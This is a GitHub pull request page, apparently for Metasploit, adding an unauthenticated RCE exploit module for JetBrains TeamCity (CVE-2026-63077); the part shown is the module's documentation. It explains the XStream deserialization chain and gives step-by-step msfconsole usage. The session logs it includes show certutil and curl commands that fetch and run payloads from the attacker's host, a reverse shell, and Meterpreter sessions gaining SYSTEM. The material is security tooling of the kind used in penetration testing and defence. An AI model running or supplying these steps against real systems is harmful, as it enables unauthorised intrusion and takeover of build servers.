Skip to content

Add unauth RCE exploit module for JetBrains TeamCity (CVE-2026-63077) #21775

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
sfewer-r7 wants to merge 5 commits into
base: master
Choose a base branch
from
+783 −0
Open

Add unauth RCE exploit module for JetBrains TeamCity (CVE-2026-63077) #21775

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
5 commits
Select commit Hold shift + click to select a range
54e422e
add initial exploit for CVE-2026-63077
sfewer-r7 Aug 11, 2026
13e6390
add in functionality to cleanup an agent so we dont leave an unauthor…
sfewer-r7 Aug 13, 2026
5bf0182
add in ' to BadChars so Linux payloads now work. Add in default payla…
sfewer-r7 Aug 14, 2026
9bf4118
add in doc
sfewer-r7 Aug 14, 2026
ad6c27d
edit some comments
sfewer-r7 Aug 14, 2026
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
293 changes: 293 additions & 0 deletions documentation/modules/exploit/multi/http/jetbrains_teamcity_rce_cve_2026_63077.md
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,293 @@
## Vulnerable Application
This module exploits an unsafe XStream deserialization vulnerability in the JetBrains TeamCity agent polling
protocol. An unauthenticated attacker can register a build agent, then submit a crafted error response
that causes TeamCity to deserialize an attacker-controlled object graph.

The object graph uses FreeMarker and Commons Collections to invoke BasicDataSource.getConnection(). HSQLDB
initialization statements then write a one-shot JSPWS file to the TeamCity webroot. Requesting the JSPWS file
executes the payload with the privileges of the TeamCity server process, deletes the JSPWS source file, and
removes the build agent registered by the module.

For a technical analysis of the vulnerability, read our [Rapid7 Analysis](https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/).

## Testing
[Download](https://www.jetbrains.com/teamcity/download/) and
[install](https://www.jetbrains.com/help/teamcity/install-and-start-teamcity-server.html) a vulnerable version of
TeamCity for either Windows or Linux, e.g. version 2026.1.2. By default, the server will listen for HTTP
connections on port 8111 (Older version of the product listen on port 80 by default).

The exploit has been tested against:
* TeamCity 2026.1.2 (build 222647) running on Windows Server 2025
* TeamCity 2026.1.2 (build 222647) running on Ubuntu 24.04

## Verification Steps
Note: On Windows, disable Defender if you are using the default payloads.

1. Start msfconsole
2. `use exploit/multi/http/jetbrains_teamcity_rce_cve_2026_63077`
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set target 0`
5. `set payload java/jsp_shell_reverse_tcp`
6. `set LHOST eth0`
7. `check`
8. `exploit`

## Options

### WebRootRelative
The TeamCity webroot relative to the server process working directory. In a default installation this is
`../webapps/ROOT` and is unlikely to change.

## Scenarios

### Java Server Page

```
msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > show options

Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2026_63077):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, sapni,
socks4, socks5, socks5h
RHOSTS 192.168.86.171 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasp
loit.html
RPORT 8111 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to TeamCity
VHOST no HTTP server virtual host


Payload options (java/jsp_shell_reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.86.122 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
SHELL no The system shell to use.


Exploit target:

Id Name
-- ----
0 Java Server Page



View the full module info with the info, or info -d command.

msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > check
[+] 192.168.86.171:8111 - The target appears to be vulnerable. JetBrains TeamCity 2026.1.2 (build 222647) detected.
msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > exploit
[*] Started reverse TCP handler on 192.168.86.122:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. JetBrains TeamCity 2026.1.2 (build 222647) detected.
[*] Registering a TeamCity build agent
[*] Registered new agent with a TeamCity-AgentSessionId: 119:94fa92bb9adcdc39073b84d05c11b83f
[*] Sending the XStream deserialization payload
[*] Requesting the JSPWS payload at /a6PznBm6.jspws
[+] The JSPWS payload was executed successfully
[*] Command shell session 24 opened (192.168.86.122:4444 -> 192.168.86.171:55456) at 2026-08-14 10:48:16 +0100


Shell Banner:
Microsoft Windows [Version 10.0.26100.32522]
(c) Microsoft Corporation. All rights reserved.
-----


c:\TeamCity\bin>whoami
whoami
nt authority\system

c:\TeamCity\bin>
```

### Windows Command

```
msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > set target 1
target => 1
msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > show options

Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2026_63077):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, sapni,
socks4, socks5, socks5h
RHOSTS 192.168.86.171 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasp
loit.html
RPORT 8111 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to TeamCity
VHOST no HTTP server virtual host


Payload options (cmd/windows/http/x64/meterpreter_reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
EXTENSIONS no Comma-separate list of extensions to load
EXTINIT no Initialization strings for extensions
FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, CERTUTIL)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME wIGKQaOnQ no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
LHOST 192.168.86.122 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


When FETCH_COMMAND is one of CURL:

Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.


Exploit target:

Id Name
-- ----
1 Windows Command



View the full module info with the info, or info -d command.

msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > exploit
[*] Command to execute on target: certutil -urlcache -f http://192.168.86.122:8080/kr9DQRE1gLpCMqRFchAWBQ %TEMP%\zcduzBbM.exe & start /B %TEMP%\zcduzBbM.exe
[*] Fetch handler listening on 192.168.86.122:8080
[*] HTTP server started
[*] Adding resource /kr9DQRE1gLpCMqRFchAWBQ
[*] Started reverse TCP handler on 192.168.86.122:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. JetBrains TeamCity 2026.1.2 (build 222647) detected.
[*] Registering a TeamCity build agent
[*] Registered new agent with a TeamCity-AgentSessionId: 120:d7bd532336167220b5f576eaae04f9ae
[*] Sending the XStream deserialization payload
[*] Requesting the JSPWS payload at /jiQjUERQq496.jspws
[+] The JSPWS payload was executed successfully
[*] Client 192.168.86.171 requested /kr9DQRE1gLpCMqRFchAWBQ
[*] Sent payload to 192.168.86.171 (Microsoft-CryptoAPI/10.0)
[*] Client 192.168.86.171 requested /kr9DQRE1gLpCMqRFchAWBQ
[*] Sent payload to 192.168.86.171 (CertUtil URL Agent)
[*] Meterpreter session 25 opened (192.168.86.122:4444 -> 192.168.86.171:55460) at 2026-08-14 10:48:59 +0100

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-B0I6KV698LS
OS : Windows Server 2025+ (10.0 Build 26100).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter > pwd
C:\TeamCity\bin
meterpreter >
```

### Linux Command

```
msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > set target 2
target => 2
msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > set RHOSTS 192.168.86.175
RHOSTS => 192.168.86.175
msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > show options

Module options (exploit/multi/http/jetbrains_teamcity_rce_cve_2026_63077):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, sapni,
socks4, socks5, socks5h
RHOSTS 192.168.86.175 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasp
loit.html
RPORT 8111 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to TeamCity
VHOST no HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXTENSIONS no Comma-separate list of extensions to load
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux
≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zsh) (Accepted:
none, python3.8+, shell-search, shell)
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
LHOST 192.168.86.122 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


When FETCH_COMMAND is one of CURL,GET,WGET:

Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.


When FETCH_FILELESS is none:

Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_FILENAME QrvGQNbHw no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces


Exploit target:

Id Name
-- ----
2 Linux Command



View the full module info with the info, or info -d command.

msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > check
[+] 192.168.86.175:8111 - The target appears to be vulnerable. JetBrains TeamCity 2026.1.2 (build 222647) detected.
msf exploit(multi/http/jetbrains_teamcity_rce_cve_2026_63077) > exploit
[*] Command to execute on target: curl -so ./VvMSBeDTSf http://192.168.86.122:8080/4Q7XHEQKEO4eBIyDE0Q3vA;chmod +x ./VvMSBeDTSf;./VvMSBeDTSf&
[*] Fetch handler listening on 192.168.86.122:8080
[*] HTTP server started
[*] Adding resource /4Q7XHEQKEO4eBIyDE0Q3vA
[*] Started reverse TCP handler on 192.168.86.122:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. JetBrains TeamCity 2026.1.2 (build 222647) detected.
[*] Registering a TeamCity build agent
[*] Registered new agent with a TeamCity-AgentSessionId: 21:30c295c6cfbbc7223cd49298b88e3a6d
[*] Sending the XStream deserialization payload
[*] Requesting the JSPWS payload at /bfW8W_6Dx_.jspws
[*] Client 192.168.86.175 requested /4Q7XHEQKEO4eBIyDE0Q3vA
[+] The JSPWS payload was executed successfully
[*] Sent payload to 192.168.86.175 (curl/8.5.0)
[*] Meterpreter session 26 opened (192.168.86.122:4444 -> 192.168.86.175:46380) at 2026-08-14 10:53:26 +0100

meterpreter > getuid
Server username: teamcity
meterpreter > sysinfo
Computer : sfewer-ubuntu-vm-1
OS : Ubuntu 24.04 (Linux 6.17.0-35-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > pwd
/opt/TeamCity/bin
meterpreter >
```
Loading
Loading